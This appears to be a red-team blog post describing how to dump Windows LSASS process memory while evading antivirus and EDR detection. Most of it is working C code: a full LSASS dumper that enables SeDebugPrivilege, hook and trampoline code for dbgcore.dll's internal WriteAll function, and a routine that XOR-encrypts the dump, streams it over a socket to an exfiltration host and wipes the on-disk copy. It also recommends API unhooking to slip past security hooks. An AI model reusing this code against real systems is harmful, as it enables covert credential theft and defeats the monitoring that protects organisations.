Hooks-On Hoot-Off: Vitaminizing MiniDump
Dear Fellowlship, today’s homily is about how we overcame an AV/EDR which, in spite of not being able to detect a LSASS
memory dump process, it detected the signature of the dump-file and decided to mark it as malicious. So we decided to modify MiniDumpWriteDump
behavior. Please, take a seat and listen to the story.
Prayers at the foot of the Altar a.k.a. disclaimer
As you may already know, MiniDumpWriteDump
receives, among others, a handle to an already opened or created file. This is a PoC about how to overcome the limitation imposed by this function, which will take care of the whole memory-read/write-buffer-to-file process.
It is recommended to perform this dance making use of API unhooking to make direct SYSCALLS to avoid AV/EDR hooks in place, as explained in the useful Dumpert by Outflanknl, or by any other evasion method. There are a lot of good resources explaining the topic, so we are not going to cover it here.
Introduction
During a Red Team assessment we came into a weird nuance were an AV/EDR, which we already thought bypassed, was erasing the dump file generated from the LSASS
process memory.
miniDumpWriteDump
’s signature is as follows:
BOOL MiniDumpWriteDump(
HANDLE hProcess,
DWORD ProcessId,
HANDLE hFile,
MINIDUMP_TYPE DumpType,
PMINIDUMP_EXCEPTION_INFORMATION ExceptionParam,
PMINIDUMP_USER_STREAM_INFORMATION UserStreamParam,
PMINIDUMP_CALLBACK_INFORMATION CallbackParam
);
as per the MSDN API documentation
Once the function is called, the file provided as the hFile
parameter will be filled up with the memory of the LSASS process, as a MDMP
format file.
MiniDumpWriteDump
takes care of all the magic comes-and-goes related to acquiring process memory and writing it to the provided file. So nice of it!
However, this kind of automated process lefts us with no control whatsoever over the memory buffer written to the file.
We thought it might be nice to have a way to overcome such a limitation.
Digging dbgcore.dll internals
To inspect the inners, we’ll be firing up WinDbg with a, rather simple, LSASS
dumper implementation making use of the arch-known MiniDumpWritedump
. This implementation requires the LSASS
process PID as parameter to run. Calling it, will provide a full memory dump saved to c:\test.dmp
. Simple as that. This .dmp
file can be processed with the usual tools.
#include <stdio.h>
#include <Windows.h>
#include <DbgHelp.h>
#pragma comment (lib, "Dbghelp.lib")
void minidumpThis(HANDLE hProc)
{
const wchar_t* filePath = L"C:\\test.dmp";
HANDLE hFile = CreateFile(filePath, GENERIC_ALL, 0, nullptr, CREATE_ALWAYS, FILE_ATTRIBUTE_NORMAL, nullptr);
if (!hFile)
{
printf("No dump for you. Wrong file\n");
}
else
{
DWORD lsassPid = GetProcessId(hProc);
printf("Got PID:: %i\n", lsassPid);
BOOL Result = MiniDumpWriteDump(hProc, lsassPid, hFile, MiniDumpWithFullMemory, NULL, NULL, NULL);
CloseHandle(hFile);
if (!Result)
{
printf("No dump for you. Minidump failed\n");
}
}
return;
}
BOOL IsElevated() {
BOOL fRet = FALSE;
HANDLE hToken = NULL;
if (OpenProcessToken(GetCurrentProcess(), TOKEN_QUERY, &hToken)) {
TOKEN_ELEVATION Elevation = { 0 };
DWORD cbSize = sizeof(TOKEN_ELEVATION);
if (GetTokenInformation(hToken, TokenElevation, &Elevation, sizeof(Elevation), &cbSize)) {
fRet = Elevation.TokenIsElevated;
}
}
if (hToken) {
CloseHandle(hToken);
}
return fRet;
}
BOOL SetDebugPrivilege() {
HANDLE hToken = NULL;
TOKEN_PRIVILEGES TokenPrivileges = { 0 };
if (!OpenProcessToken(GetCurrentProcess(), TOKEN_QUERY | TOKEN_ADJUST_PRIVILEGES, &hToken)) {
return FALSE;
}
TokenPrivileges.PrivilegeCount = 1;
TokenPrivileges.Privileges[0].Attributes = TRUE ? SE_PRIVILEGE_ENABLED : 0;
const wchar_t *lpwPriv = L"SeDebugPrivilege";
if (!LookupPrivilegeValueW(NULL, (LPCWSTR)lpwPriv, &TokenPrivileges.Privileges[0].Luid)) {
CloseHandle(hToken);
printf("I dont have SeDebugPirvs\n");
return FALSE;
}
if (!AdjustTokenPrivileges(hToken, FALSE, &TokenPrivileges, sizeof(TOKEN_PRIVILEGES), NULL, NULL)) {
CloseHandle(hToken);
printf("Could not adjust to SeDebugPrivs\n");
return FALSE;
}
CloseHandle(hToken);
return TRUE;
}
int main(int argc, char* args[])
{
DWORD lsassPid = atoi(args[1]);
HANDLE hProcess = NULL;
if (!IsElevated()) {
printf("not admin\n");
return -1;
}
if (!SetDebugPrivilege()) {
printf("no SeDebugPrivs\n");
return -1;
}
hProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, lsassPid);
minidumpThis(hProcess);
CloseHandle(hProcess);
return 0;
}
Once compiled and debugged with WinDbg some breakpoints will be placed to aid us in the process:
bp miniDumpWriteDump // Breakpoint at miniDumpWriteDump address
g // go (continue execution)
p // step-in
bp NtWriteFile // Breakpoint at NtWriteFile
g // go (continue execution)
k // and, finally, print the backtrace
Taking a look at the backtrace produced once the execution flow arrives to NtWriteFile
, we can see how the last call inside dbgcore.dll
, before letting the OS take care of the file-writing process, is made from a function called WriteAll
laying inside the Win32FileOutputProvider
.
However, this function is not publicly available to use, as the DLL won’t export it. By inspecting the library, and its base address, we can easily determine the function offset, which seems to be 0xb4b0
(offset = abs_address - base_address)
By peeking a little bit more into the WriteAll
function, we determined that the arguments passed to it were:
- arg1: File Handler
- arg2: Buffer (which is exactly what we intended to have from the beginning)
- arg3: Size
Inspecting the memory at the direction given in [rdx] we can see the beginning of the dump file.
Therefore, it should be fairly straightforward to hook into this function to access the buffer and modify it as needed.
Call me ASMael
The idea of a hook is to modify the “normal” execution flow of an application. Among others, function hooks are placed by many AV/EDR providers in order to monitor certain function calls to discover undesired behaviors.
In this case, to detour the function execution, a direct memory write was implemented over the WriteAll
address. This function was being called over and over during the dump process, likely to fragment the memory writes to smaller pieces and to retrieve different parts of the process being dumped, thus forcing us to restore the original bytes after every detoured call.
Originally, it would look like this:
Note that our primary intention here is not to re-implement the WriteAll
function, but to modify the buffer, then restore the original overwritten bytes, and finally call WriteAll
to let it do its job with the new buffer. Simplest way to achieve it would be by making the execution flow jump as soon as it reaches WriteAll
:
mov r10, <__TRAMPOLINE_ADDRESS>
jmp r10
That assembly lines translate to the following opcodes to be written at the beginning of the WriteAll
function:
uint8_t trampoline_assembly[13] = {
0x49, 0xBA, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, // mov r10, NEW_LOC_@ddress
0x41, 0xFF, 0xE2 // jmp r10
};
Where all those 0x00 should be replaced by the _trampoline
function address.
Which translates to something as simple as:
const char* dbgcore_name = "dbgcore.dll";
intptr_t dbgcore_handle = (intptr_t)LoadLibraryA(dbgcore_name);
intptr_t writeAll_offset = 0xb4b0;
writeAll_abs = dbgcore_handle + writeAll_offset;
void* _hoot_trampoline_address = (void*)_hoot_trampoline;
memcpy(&trampoline_assembly[2], &_hoot_trampoline_address, sizeof(_hoot_trampoline_address));
Jumping into the trampoline
As stated before, the _trampoline
should implement the following logic:
- Perform the required buffer operations (such as encryption or exfiltration)
- Restore the original overwritten bytes from `WriteAll`.
- Call the original `WriteAll` function with the modified buffer.
- Write the hook again in the `WriteAll` function.
UINT32 _hoot_trampoline(HANDLE file_handler, void* buffer, INT64 size) {
// The position calculation lines will make sense in the Prowlblems section ^o^
long high_dword = NULL;
DWORD low_dword = SetFilePointer(our_dmp_handle, NULL, &high_dword, FILE_CURRENT);
long pos = high_dword << 32 | low_dword;
unsigned char *new_buff = hoot(buffer, size, pos); // Perform buffer operations: Encrypt, nuke, send it...
// Overwrite the WriteAll initial bytes to perform a direct jmp to our _trampoline_function
WriteProcessMemory(hProcess,
(LPVOID*)writeAll_abs,
&overwritten_writeAll,
sizeof(overwritten_writeAll),
NULL
); // Restore original bytes
/* Call the WriteAll absolute address (cast it to a function that
returns an UINT32 and
receives a HANDLE, a pointer to a buffer and an INT64)
*/
UINT32 ret = ( (UINT32(*)(HANDLE, void*, INT64) ) (writeAll_abs) ) (file_handler, (void*)new_buff, size); // erg...
// Rewrite the hook at the beginning of the WriteAll
WriteProcessMemory(hProcess, (LPVOID*)writeAll_abs, &trampoline_assembly, sizeof(trampoline_assembly), NULL);
return ret;
}
The hoot
function may implement a variety of modifications or operations over the passed buffer. In this PoC we’re just XORing the contents of the buffer with a single byte, and sending it via socket connection to a receiving server. It also provides a simple in-memory buffer nuke to avoid writing any contents of the actual buffer to disk.
This proved to be more than enough to prevent any AV/EDR solution from removing the dump file from the computer.
unsigned char* hoot(void* buffer, INT64 size, long pos) {
unsigned char* new_buff = (unsigned char*) buffer;
if (USE_ENCRYPTION) {
new_buff = encrypt(buffer, size, XOR_KEY);
}
if (EXFIL) {
s = getRawSocket(EXFIL_HOST, EXFIL_PORT);
if(s) {
sendBytesRaw(s, (const char*)new_buff, size, pos);
}
else {
printf("[!] ERR:: SOCKET NOT READY\n");
}
}
if (!WRITE_TO_FILE) {
memset(new_buff, 0x00, size);
}
return new_buff;
}
Prowlblems
Once the exfiltration/encryption tasks were coded and we started testing, we realized that the WriteAll
function was not creating the dump in a sequential manner. It was actually making NtWriteFile
jump all over the file writing bytes here and there by setting an offset to write to.
__kernel_entry NTSYSCALLAPI NTSTATUS NtWriteFile(
HANDLE FileHandle,
HANDLE Event,
PIO_APC_ROUTINE ApcRoutine,
PVOID ApcContext,
PIO_STATUS_BLOCK IoStatusBlock,
PVOID Buffer,
ULONG Length,
PLARGE_INTEGER ByteOffset, // Right here O^O
PULONG Key
);
After having a nice talk with @TheXC3LL, he found this little nifty trick to find out where the cursor was in the file handler received in our _trampoline
function: Get current cursor location on a file pointer
long high_dword = NULL;
DWORD low_dword = SetFilePointer(our_dmp_handle, NULL, &high_dword, FILE_CURRENT);
long pos = high_dword << 32 | low_dword;
Once obtained, we could easily tell our receiving server where in the file it should place the received buffer, by sending a buffer composed of the offset, the size of the modified buffer, and the modified buffer itself. Creating a simple protocol as:
4B 4B <SIZE>B
<OFFSET><SIZE><BUFFFFFFFFFFFER>
Related projects
SharpMiniDump with NTFS transactions by PorLaCola25 based on b4rtik’s SharpMiniDump
Lsass Minidump file seen as Malicious by McAfee AV by K4nfr3
EoF
Although this wasn’t an incredible discovery, playing with memory is always fun ^o^. Also, if you made it to the end of this article, you might want the full code of this PoC. Available as usual in our GitHub, Adepts-Of-0xCC
Feel free to give us feedback at our twitter @AdeptsOf0xCC.